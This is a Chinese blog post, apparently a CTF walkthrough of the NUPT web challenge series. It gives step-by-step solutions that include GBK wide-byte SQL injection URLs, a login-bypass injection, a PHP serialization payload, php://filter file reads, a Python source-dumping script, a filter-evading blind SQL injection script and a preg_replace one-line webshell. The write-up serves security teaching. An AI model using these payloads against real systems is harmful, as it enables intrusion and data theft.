欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

南邮ctf(web wp)

程序员文章站 2022-03-09 19:21:21
...

签到

源代码就有了

md5 collision

传一个字符串,值跟QNKCDZO一样但是又不是它的就行了

签到2

改了本地的maxlength就能输进去zhimakaimen然后拿到flag了

这题不是WEB

把图片下载下来丢去010editor就能看到flag了

南邮ctf(web wp)

层层递进

点进去一直找,找到一个404.html就能看到了,真的藏得很深

南邮ctf(web wp)

单身二十年

页面很快就跳转,抓包就行了

南邮ctf(web wp)

你从哪里来

这题抓包改一下referer成https://www.google.com就能拿到flag了,但是后台挂了,gg

php decode

这题我弄了很久,没看懂题目在要我简单的跑程序出flag还是要看着加密过程逆出来..........

然鹅,只是简单地跑下程序就出来了

南邮ctf(web wp)

文件包含

这题oj也挂了,不过找到这个网址,应该是以前的oj的题,这个能做

http://4.chinalover.sinaapp.com/web7/index.php

先php://input试一下,发现触发waf

南邮ctf(web wp)

所以可以利用php://filter作为中间流去输出其他文件或者我们想要输入的东西,下面是输出index.php的源码,经过base64解密

南邮ctf(web wp)

解密得到

南邮ctf(web wp)

单身一百年也没用

这题其实跟前一题单身题差不多,只是flag在响应头里

南邮ctf(web wp)

download

这题挂了,文件都下载不了,做不了=_=

cookie

题目提示很明显,看到cookie里面login是0

南邮ctf(web wp)

改下成1就get flag了

MySQL

这题进去可以见到网页有Do you know robots.txt?

访问一下robots.txt可以看见一些源码

TIP:sql.php

<?php
if($_GET[id]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $id = intval($_GET[id]);
  $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
  if ($_GET[id]==1024) {
      echo "<p>no! try again</p>";
  }
  else{
    echo($query[content]);
  }
}
?>

这题可以看见,后台将得到的参数进行整数转化,所以我们想闭合单引号进行注入是不行的了(这题也不是考注入........

但是如果我们输入1024e12的话,$id会是1024,int型直接去掉e后面的数字进行赋值,但是当判断$_GET[id]==1024时就会为假,因为没有强制类型转化,所以两个一个是1024,一个是1024*10^12,不相等,因此就能绕过得到flag

南邮ctf(web wp)

sql injection3

这题进去看见可以输入id,而id被单引号括着,在后面加一个单引号,发现被转义了,再加多一个反斜杠,结果又被转义的,猜测后台应该是有了addslashes函数,尝试下宽字节注入

这里有个提示是,当id等于2时页面会有gbk_sql_injection,当id等于3时页面会有the fourth table

所以剩下的要做的就是宽字节注入,查看第四张表

看数据库

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 0 union select 1,database() --+

南邮ctf(web wp)

然后就是看表

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572 --+

因为无法添加单引号或者双引号,所以用16进制绕过

南邮ctf(web wp)

题目提示了是第四张表,所以就直接看第四张表了

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 0 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634 --+

南邮ctf(web wp)

最后直接读flag了

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 0 union select 1,flag from ctf4 --+

南邮ctf(web wp)

/x00

这题是ereg函数绕过

进去就给源码

    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

传进去一个nctf参数,要是数字,同时又要在里面有#biubiubiu,看起来好像很矛盾,但是有个ereg函数在

两个方法

第一个

%00截断,ereg函数解析到%00时会自动认为字符串已经结束,所以就能绕过第一个检测同时符合第二个了

南邮ctf(web wp)

第二个

传入数组,因为ereg处理数组会报null,第一个判断为假,所以刚好绕过了,而且strpos检测的也是报null,不等于false,也绕过了,就能出flag了

南邮ctf(web wp)

bypass again

这题是考弱类型,只要是0e开头,php都会认为他们是相等的,所以传入几个md5以后是0e开头的值就行了

南邮ctf(web wp)

变量覆盖

这题进去能看到有个source.php,点开看一看发现

南邮ctf(web wp)

pass是我们传进去的密码,thepassword_123是后台的密码,但是我们拿不到咯嗦,可是他有一个extract函数,可以对获得的变量进行赋值,构造一个语句,使pass和thepassword_123相等,就有flag了

南邮ctf(web wp)

PHP是世界上最好的语言

这题貌似服务器又挂了2333,点进去.......就没了.........

伪装者

这题据说是抓包改下X-Forwarded-For:127.0.0.1发过去就有flag了,可是发包过去居然没响应.........试下改了referer也还是不行,应该是挂了8,gg

Header

这题提示头啊,应该就是抓包看头部就有flag了,但是服务器不响应,喵喵喵?太阔怕辣

上传绕过

就去看到有个文件上传

这题上传图片返回要上传php,上传php返回文件类型不对

试下大小写Php,php3不行,改content-type不行,1.php.jpg会解析出图片,filename截断也不可以,最后是路径截断

南邮ctf(web wp)

南邮ctf(web wp)

然后就有flag了

南邮ctf(web wp)

SQL注入1

这题source有源码

<html>
<head>
Secure Web Login
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = trim($_POST[user]);
  $pass = md5(trim($_POST[pass]));
  $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
    echo '</br>'.$sql;
  $query = mysql_fetch_array(mysql_query($sql));
  if($query[user]=="admin") {
      echo "<p>Logged in! flag:******************** </p>";
  }
  if($query[user] != "admin") {
    echo("<p>You are not admin!</p>");
  }
}
echo $query[user];
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.phps">Source</a>
</html>

闭合单引号括号注释后面进行查询就行了

南邮ctf(web wp)

pass check

源码

<?php
aaa@qq.com$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

因为是用strcmp去比较,所以如果传入数组就会返回0,非了以后就是真了

南邮ctf(web wp)

起名字真难

这题也给了源码

<?php
 function noother_says_correct($number)
{
        $one = ord('1');
        $nine = ord('9');
        for ($i = 0; $i < strlen($number); $i++)
        {   
                $digit = ord($number{$i});
                if ( ($digit >= $one) && ($digit <= $nine) )
                {
                        return false;
                }
        }
           return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
    echo $flag;
else 
    echo 'access denied';
?>

传入的key不能有数字但是又要等于54975581388,用十六进制转化一下

南邮ctf(web wp)

密码重置

服务器挂了, ̄□ ̄||

php反序列化

这题也是讲下思路,有源码,但是也是进不去网页......

<?php
class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];

    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }

    $o = unserialize($pass);

    if ($o) {
        $o->secret = "*";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else 
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}
?>

利用反序列化输入一个对象满足条件去实现绕过

<?php

class just4fun
{
    var $enter;
    var $secret;
    function just4fun2(){
        $this->enter =& $this->secret;
    }
}
$flag = new just4fun();
$flag->just4fun2();

echo serialize($flag);

取secret的地址赋给enter,就能满足条件了

本地测试得出O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

对页面进行访问就行了

sql injection4

源码可以看到

#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
	if(get_magic_quotes_gpc()){
		$str=stripslashes($str);
	}
	return htmlentities($str, ENT_QUOTES); //转义单引号和双引号
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
	die('Invalid password!');
}

echo $flag;

这题单引号双引号用不了,但是可以用反斜杠把单引号转义了

南邮ctf(web wp)

综合题

这题进去看到jsfuck代码

南邮ctf(web wp)

解密得到

南邮ctf(web wp)

访问看到

南邮ctf(web wp)

脑袋联想到响应头

南邮ctf(web wp)

访问一下

南邮ctf(web wp)

继续访问就有一个压缩包下下来,打开就有flag了

南邮ctf(web wp)

system

挂了..........

SQL注入2

源码

<html>
<head>
Secure Web Login II
</head>
<body>

<?php
if($_POST[user] && $_POST[pass]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = $_POST[user];
  $pass = md5($_POST[pass]);
  $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
  if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
      echo "<p>Logged in! Key: ntcf{**************} </p>";
  }
  else {
    echo("<p>Log in failure!</p>");
  }
}
?>


<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.phps">Source</a>
</html>

这题跟实验吧程序逻辑错误很像,构造sql语句,闭合前面,然后后面加上我们的赋值,就可以让语句查询到值了

南邮ctf(web wp)

综合题2

这题点进去本cms说明的时候可以发现这里改一下后面的file的值是可以读取文件的,将文件读一下

这里用个脚本

import requests
import codecs
from bs4 import BeautifulSoup
url = "http://cms.nuptzj.cn/about.php?file="
file_list = ["index.php", "passencode.php", "say.php", "config.php", "antixss.php", "about.php", "so.php",
             "antiinject.php", "xlcteam.php","loginxlcteam.php"]
for i in file_list:
    res = requests.get(url + i)
    print("dowload " + i)
    if res.status_code == 200:
        res.encoding = "utf8"
    with codecs.open(i, "w+", "utf8") as handle:
        print("done")
        text = BeautifulSoup(res.text, "lxml").text
        handle.write(text)

然后就能得到这些文件的源码了,这里有些是后来加上去的,题目一开始没有提示那么多,做着做着就发现了

这里只贴几个重要的文件的源码

so.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>搜索留言</title>
</head>

<body>
<center>
<div id="say" name="say" align="left" style="width:1024px">
<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
    exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>
</div>
</center>
</body>
</html>

antiinjection.php

<?php
function antiinject($content){
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){
 $info=str_replace($keyword[$i], '',$info);
}
return $info;
}
?>

passencode.php

<?php
function passencode($content){
//$pass=urlencode($content);
$array=str_split($content);
$pass="";
for($i=0;$i<count($array);$i++){
if($pass!=""){
$pass=$pass." ".(string)ord($array[$i]);
}else{
$pass=(string)ord($array[$i]);
}
}
return $pass;
}
?>

其他的表可以得知数据表示admin,然后这里绕waf的脚本也知道了,剩下的就是注入了,注入点就是搜索那里,看回so.php,可以见到id没有引号括着,不用闭合(后台也过滤了引号

如果输入的语句是正确的,网页就会返回一段大秘密的话(很长

如果不正确,那就没有数据回显

然后就可以进行盲注了,这里贴贴大佬的脚本,肉鸡太菜了,脚本跑不动,不知道错在哪.........

import requests
url = "http://cms.nuptzj.cn/so.php"
chars = "0123456789"
header = {
    'User-Agent': 'Xlcteam Browser',
    'Host': 'cms.nuptzj.cn',
}
result = ""
for i in range(1,35):
    for j in chars:
        # print(j)
        char = ord(j)
        payload = '1/*x*/anANDd/*x*/exists(seleSELECTct/*x*/*/*x*/frFROMom/*x*/admiADMINn/*x*/WHERE/*x*/oORrd(substring(userpaspasss/*x*/froFROMm/*x*/{0}/*a*/FOorR/*a*/1))>{1})'.format(
            i, char)
        data = {
            "soid": payload
        }
        response = requests.post(url=url, headers=header, data=data)
        # print(response.text)
        result_len = len(str(response.text))
        if (result_len < 430):
            result += chr(int(char))
            print(result)
            break

得出结果是1020117099010701140117011001160117

后台对密码的加密是对应他们的ascii码,所以解密过来就是fuckruntu

然后登录管理员页面,这里管理员页面是http://cms.nuptzj.cn/loginxlcteam/index.php

这个地址基本靠猜,看到有个loginxlcteam.php文件猜测的,真的没找到哪里有说明

登进去以后看到这个

南邮ctf(web wp)

然后一开始文件漏洞是可以帮我们看到xlcteam.php的源码的

<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>

然后就是一句话木马的利用

南邮ctf(web wp)

南邮ctf(web wp)

flag get√

注入实战1

后台挂了,GG

密码重置2

挂了too